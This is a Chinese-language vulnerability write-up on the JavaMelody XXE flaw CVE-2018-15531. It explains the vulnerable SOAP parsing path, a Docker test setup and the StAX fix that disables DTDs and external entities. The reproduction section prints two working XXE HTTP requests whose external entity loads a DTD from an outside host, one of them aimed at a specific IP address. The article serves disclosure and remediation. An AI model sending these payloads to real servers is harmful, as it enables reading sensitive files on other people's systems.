JavaMelody XXE漏洞(CVE-2018-15531)分析

2018-11-08 19:45:2815666人阅读

0x01 背景

JavaMelody是一款在生产和QA环境中对JAVA应用以及应用服务器(Tomcat、Jboss、Weblogic)进行监控的工具,可以通过图表给出监控数据,方便研发运维等找出响应瓶颈、优化响应等。

近日发布了1.74.0版本,修复了一个XXE漏洞,漏洞编号CVE-2018-15531。攻击者利用漏洞,可以读取JavaMelody服务器上的敏感信息。

0x02 漏洞分析

漏洞修复的commit地址如下:

https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353#diff-c059097bc33b06c0b5da2d9b7787e806

增加了两行代码,作用分别是禁用DTD和禁用外部实体,如图所示:

f1.png

增加这两行代码之后,攻击者就无法使用XXE漏洞来进行文件读取。

查看修复前的代码文件src/main/java/net/bull/javamelody/PayloadNameRequestWrapper.java,如图:

f2.png

使用StAX来对XML进行解析,未禁用DTDs和外部实体,再看看那些地方调用了parseSoapMethodName()方法,如图:

f3.png

其中PayloadNameRequestWrapper类的initialize()方法有进行调用,代码片段如下:

f4.png

从HTTP请求获取请求的Content-Type,如果满足如下两个条件中的任意一个:

1、Content-Type的值为“application/soap+xml”;

2、Content-Type的值为“text/xml”,且HTTP头部中有"SOAPAction"。

就会调用parseSoapMethodName()方法对请求内容进行解析处理,攻击者可以控制Content-Type、请求内容等,最终导致XXE漏洞的产生。

0x03 漏洞测试

漏洞环境搭建

1、docker pull tomcat;

2、修改tomcat镜像,commit为一个新的漏洞环境;

3、下载测试使用的应用包,解压之后将test目录移动到/usr/local/tomcat/webapps目录下,下载地址:

http://pan.baidu.com/s/1mgoQOwo

4、下载javamelody-core-1.73.1.jar版本,重命名为javamelody.jar,放到/usr/local/tomcat/webapps/test/WEB-INF/lib/目录下,下载地址:

https://github.com/javamelody/javamelody/releases/download/javamelody-core-1.73.1/javamelody-core-1.73.1.jar

5、启动tomcat;

6、docker commit生成新的镜像。

漏洞复现

根据对漏洞的分析,可以构造漏洞测试的Http请求,分别如下:

POST /test/ HTTP/1.1

Host: 127.0.0.1:8888

Content-Type: text/xml; charset="utf-8"

SOAPAction: sdfsdfdsf

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36

Accept-Encoding: gzip, deflate

Cookie: _ga=GA1.1.1433684353.1533281809; settingStore=1533281841189_0;   ECS[visit_times]=9;   JSESSIONID=CA4182172E388BED1933F3849E846492

Connection: close

Content-Length: 142

 

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE a [

<!ENTITY % aad SYSTEM "http://www.nxadmin.com/aaa.dtd">

%aad;

%c;]

> 

 

POST /test/ HTTP/1.1

Host: 139.199.99.172:8888

Content-Type: application/soap+xml; charset="utf-8"

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: _ga=GA1.1.1433684353.1533281809; settingStore=1533281841189_0; ECS[visit_times]=9;   JSESSIONID=CA4182172E388BED1933F3849E846492

Connection: close

Content-Length: 142

 

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE a [

<!ENTITY % aad SYSTEM "http://www.nxadmin.com/aaa.dtd">

%aad;

%c;]

> 

 

调用了外部实体,根据外部实体请求URL的的日志记录,就可以判断自有业务是否存在漏洞,如图所示:

f5.png

0x04 修复建议

1、升级JavaMelody到1.74.0版本;

2、按照官方漏洞修复方法,使用StAX对XML进行解析时,增加禁用DTDs和外部实体的代码,如下:

final XMLInputFactory   factory = XMLInputFactory.newInstance();

//禁用DTD

factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);

//禁用外部实体

factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

final XMLStreamReader   xmlReader;

0x05 参考链接

https://github.com/javamelody/javamelody/releases/tag/javamelody-core-1.73.1

https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353#diff-c059097bc33b06c0b5da2d9b7787e806

 


本文来自百度安全SiemPent Team,转载请注明出处及本文链接

0
现金券
0
兑换券
立即领取
领取成功